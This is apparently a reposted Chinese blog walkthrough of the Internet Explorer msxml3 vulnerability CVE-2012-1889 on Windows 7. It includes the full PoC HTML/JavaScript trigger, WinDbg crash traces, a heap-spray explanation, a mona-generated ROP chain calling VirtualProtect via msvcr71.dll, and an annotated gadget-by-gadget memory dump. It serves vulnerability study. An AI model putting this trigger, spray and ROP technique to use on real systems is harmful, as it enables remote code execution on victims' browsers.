WIN7_64 + CVE-2012-1889的分析

来源:互联网 发布:小米机械键盘 mac 编辑:程序博客网 时间:2024/06/05 20:31

一 直接运行网上的POC 网页

   双击cve-2012-1889-test-poc.html,发现IE崩溃了,此时的崩溃信息如下:

  应用程序版本: 8.0.7601.17514  

应用程序时间戳: 4ce79912  

故障模块名称: msxml3.dll  

故障模块版本: 8.110.7601.17514 

 故障模块时间戳: 4ce7b8e9 

 异常代码: c0000005  

异常偏移: 0004e2d9

二  使用windbg调试poc

   由于ASLR的存在,崩溃的msxml3.dll在每次重启IE加载的时候基地址都不同,所以需要调试出每次加载的基地址。

  1 双击运行cve-2012-1889-test-poc.html,然后用windbg attach,

  2 此时还没有加载msxml3.dll .所以我们使用sxe ld:msxml3 断在msxml3.dll的加载,然后g ,双击IE上面的运行activieX插件。

  3 windbg会断在msxml3的加载,windbg输出信息如下,

 ModLoad: 72990000 72ac3000   C:\Windows\SysWOW64\msxml3.dlleax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=7ef99000 edi=03086ed8eip=77a9fc52 esp=03086dac ebp=03086e00 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246ntdll!ZwMapViewOfSection+0x12:77a9fc52 83c404          add     esp,4

从这里可以看出msxml3的基地址是72990000,这个基地址和之前调试的不一样。

才是我们断在72990000 + 0004e2d9 异常偏移的位置。

ba e 1  72990000 + 0004e2d9  ; g; 之后windbg断了下来

ModLoad: 03f90000 040ec000   C:\Windows\SysWOW64\ole32.dllModLoad: 72970000 72aa3000   C:\Windows\SysWOW64\msxml3.dllModLoad: 728b0000 72962000   C:\Windows\SysWOW64\jscript.dll(904.194): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0c0c0c0c ebx=00000000 ecx=729e1922 edx=00000001 esi=0c0c0c0c edi=0323d288eip=729be2d9 esp=0323cf2c ebp=0323d048 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\msxml3.dll - msxml3!DllRegisterServer+0x883c:729be2d9 8b08            mov     ecx,dword ptr [eax]  ds:002b:0c0c0c0c=????????   //这里访问异常了。而0c0c0c0c是我们通过栈赋值的,可以找到poc代码如下

<html><head>    <title>CVE 2012-1889 PoC</title></head><body>    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>    <script>        var obj = document.getElementById('poc').object;        var src = unescape("%u0c0c%u0c0c");//这里对栈进行赋值        while (src.length < 0x1002) src += src;        src = "\\\\xxx" + src;        src = src.substr(0, 0x1000 - 10);        var pic = document.createElement("img");        pic.src = src;        pic.nameProp;        obj.definition(0);    </script></body></html>


之后的汇编代码:

73d6e2d9 8b08            mov     ecx,dword ptr [eax]  ds:002b:0c0c0c08=0c0c0c0c73d6e2db ff7524          push    dword ptr [ebp+24h]73d6e2de ff7520          push    dword ptr [ebp+20h]73d6e2e1 57              push    edi73d6e2e2 6a03            push    373d6e2e4 ff7514          push    dword ptr [ebp+14h]73d6e2e7 68b4d3d473      push    offset msxml3!GUID_NULL (73d4d3b4)73d6e2ec 53              push    ebx73d6e2ed 50              push    eax73d6e2ee ff5118          call    dword ptr [ecx+18h] //call73d6e2f1 89450c          mov     dword ptr [ebp+0Ch],eax73d6e2f4 8b06            mov     eax,dword ptr [esi]73d6e2f6 56              push    esi73d6e2f7 ff5008          call    dword ptr [eax+8] //call




三 堆喷射 Heap Spray

   由于浏览器环境很复杂,很难布置shellcode 所以我们可以使用堆喷射技术来布置shellcode.

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。


当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是200M,主要是为了保证能覆盖到0x0C0C0C0C地址。  


使用堆喷射的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。


通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×0C能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。

一般堆/栈溢出都可以控制EIP。


四 DEP 和 ASLR围攻下的突破

      

控制了EIP后,面临的问题有

  1 DEP   


DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。


DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。 


另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。


解决方案:通过ROP链来关闭对某段地址的DEP,具体可以使用的函数有ZwSetInfomationProcess,VirtualProtect,VitualAlloc。

ROP,即使用一些POP XXX RET 等指令来合法的控制EIP,至于合法的原因是这些指令都是二进制自带的,所以系统不会阻止它的运行。不过在合法控制EIP前,我们需要

将栈转移到我们可控的内存空间,我们将这个方法称之为StackPivot的小构件(Gadgets),例如XCHG EAX,ESP指令,因为我们要利用的数据在上一步精准堆喷射被存放在0x0C0C0C0C,而EAX的值也是0x0C0C0C0CXCHG EAX,ESP后,ESP变为0X0C0C0C0C,即我们自己构筑了栈,并且0x0c0c0c0c这块内存放置了我们自己的ROP信息。

之所以可以这样用是因为在X86架构中,在调用完一个函数,最后一条指令是ret N,他的作用是把esp指向的地址赋值给eip,即EIP=[ESP],所以我们控制了esp也就是控制了eip.rop之所以强悍当然还少另外一个pop reg,  这个pop reg + ret 。直接可以通过esp指向的内容给寄存器赋值。


本次使用VirtualProtect修改内存区域为可写实现关闭DEP


ASLR

       即加载基址随机化,通过模块加载基址随机化实现使攻击者无法准确定位函数。一般实现方法是将高位地址随机化,低位地址保持不变。不过有些软件或者模块为了兼容性

在编译的时候选择了抛弃ASLR,在本例子中,我们就使用了jre-6u37.rar中的msvcr71.dll 模块,这个模块没有开启ASLR。通过这个模块我们就可以提取ROP需要的东西了。

仅需要!mona rop -m msvcr71.dll 就可以得到需要的ROP

我们使用JAVASCRIPT的ROP Chain for VirtualProtect()



        *** [ JavaScript ] ***                        //rop chain generated with mona.py - www.corelan.be              rop_gadgets = unescape(                  "%u7cff%u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]                   "%u7cff%u7c35" + // 0x7c357cff : ,# skip 4 bytes [MSVCR71.dll]                  "%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]                   "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx                  "%u58e6%u7c34" + // 0x7c3458e6 : ,# POP EDX # RETN [MSVCR71.dll]                   "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx                  "%u4f23%u7c35" + // 0x7c354f23 : ,# POP ECX # RETN [MSVCR71.dll]                   "%ueb06%u7c38" + // 0x7c38eb06 : ,# &Writable location [MSVCR71.dll]                  "%u2eae%u7c34" + // 0x7c342eae : ,# POP EDI # RETN [MSVCR71.dll]                   "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]                  "%uaceb%u7c34" + // 0x7c34aceb : ,# POP ESI # RETN [MSVCR71.dll]                   "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]                  "%u5194%u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll]                   "%ua140%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]                  "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]                   "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]                  ""); //  : 


五  cve-2012-1889.html的精确堆喷射的分析

 

0:005> dd 0c0c0c0c  L300c0c0c0c  7c34d202 7c357cff 7c348b05 7c34d2020c0c0c1c  7c34d202 7c34d202 7c34d202 7c357cff0c0c0c2c  7c357cff 7c36098d 00000201 7c3458e60c0c0c3c  00000040 7c354f23 7c38eb06 7c342eae0c0c0c4c  7c34d202 7c34aceb 7c3415a2 7c3451940c0c0c5c  7c37a151 7c378c81 7c345c30 000105b90c0c0c6c  ffffe800 5ec1ffff 070e4c30 e9d8fae20c0c0c7c  2271dd98 b8db39f3 6ac43d7c 992161840c0c0c8c  609e1865 125f930b 953d6290 3a6e18290c0c0c9c  277cd756 4ac8d7f6 0a0940a0 b90d75a40c0c0cac  374d1c67 2273b3dd 3f1d66b0 0b75a3d40c0c0cbc  47ce70c8 7bb679a9 cae1b08b 9356248f//the start address 0c0c0c00c//0c0c0c0c  7c34d202 //step 2 :7c34d202       ret ;相当于出栈pop,//0c0c0c10  7c357cff //step 3: 7c357cff               pop     ebp ;ret ;直接跳过四个字节地址到0c0c0c18,因为0c0c0c14我们之前使用过,而且对本次无效,所以跳过//0c0c0c14  7c348b05 //step 1: 7c348b05     xchg   eax,esp ;  ret  ,通过xchg 控制esp,从而控制eip,此时esp = 0c0c0c0c,而eip =[esp]=7c34d202.其实就是让程序运行esp指向的指令,此时esp指向的内容是我们控制的,可以通过精确堆喷射赋值。//0c0c0c18  7c34d202 //step 4:7c34d202               ret//0c0c0c1c  7c34d202  //step 5:7c34d202               ret//0c0c0c20  7c34d202  //step 6:7c34d202               ret//0c0c0c24  7c34d202  //step0 + 7: 7c34d202               ret// The real rop chain//0c0c0c28  7c357cff  //step 8: 7c357cff            pop     ebp ;  ret;走完这一步 ebp= 7c357cff , skip next 4 address ,//0c0c0c2c  7c357cff  //skiped//0c0c0c30  7c36098d  //step9: 7c36098d  pop     ebx #    ret ;因为下面的esp是0c0c0c34,所以pop ebx后,ebx就是00000201;skip 4 byte address//0c0c0c34  00000201  //skiped//0c0c0c38  7c3458e6  //step10:7c3458e6   pop    edx ;        ret ;走完这一步,edx的值为00000040。 //0c0c0c3c  00000040  //skiped//0c0c0c40  7c354f23  //step11:c354f23               pop     ecx ;               ret;走完这一步,ecx为7c38eb06//0c0c0c44  7c38eb06  //skiped//0c0c0c48  7c342eae  //step12:7c342eae              pop     edi ;               ret ,走完后edi为7c34d202,即ret(7c34d202的内容为ret)//0c0c0c4c  7c34d202  //skiped//0c0c0c50  7c34aceb  //step13:7c34aceb               pop     esi ;               ret ,走完这一步后esi为 7c3415a2,(7c3415a2 ff20   jmp     dword ptr [eax])//0c0c0c54  7c3415a2  //skiped//0c0c0c58  7c345194  //step14:7c345194              pop     eax ;               ret ,走完这一步eax = 7c37a151//0c0c0c5c  7c37a151 //skiped//0c0c0c60  7c378c81 //step15:7c378c81              pushad ;             add     al,0EFh ;7c378c84 c3              ret ;  pushad的压栈顺序eax ecx edx ebx esp ebp esi edi ,完后,edi 在栈顶,所以上面的ret完后,会走pushad压入的栈顶ret,继续走就是JMP [EAX]了  会JMP跳转到VirtualProtect,(想下CALL的流程,剩下的压栈完全模拟CALL,push 第一个参数 ,push 第二个参数 ,…… push 返回地址,JMP),不过此时的返回地址是  EBP,也就是payload address,也就是说当我们调用完VirtualProtect后,去执行shellcode.   7c3415a2 ff20            jmp     dword ptr [eax]      ds:002b:7c37a140={kernel32!VirtualProtect (7681435f)}  还有一个问题,在pushad后,执行了一个 ,add al ,0efh. 这是因为没有找到合适的pushad ret,所以只有退一步,找的范围更广一些。不过既然al加了ef,所以之前push eax我们要  先减去0EFh.  执行完VirtualProtect后,去执行pre_shellcode,此时pre_shellcode地址是ebp= 7c357cff ,  即7c357cff 5d              pop     ebp 7c357d00 c3              ret 看样子是需要跳转esp,为后面调用真正的shellcode做铺垫。//0c0c0c64  7c345c30  // push    esp;   ret 这两句话的意思是,eip=esp =0c0c0c68 ,即去执行shellcode了shellocode部分://0c0c0c68  real_shellcode记住一点:ret后eip指向ret之前之后esp所指向的地址。eip will be [esp] ,esp is the what before ret


六  运行后弹出了框





参考文章:

http://blog.csdn.net/enjoy5512/article/details/52662158

https://bbs.pediy.com/thread-219222.htm

https://bbs.pediy.com/thread-215974.htm

这个漏洞里面有很多东西值得学习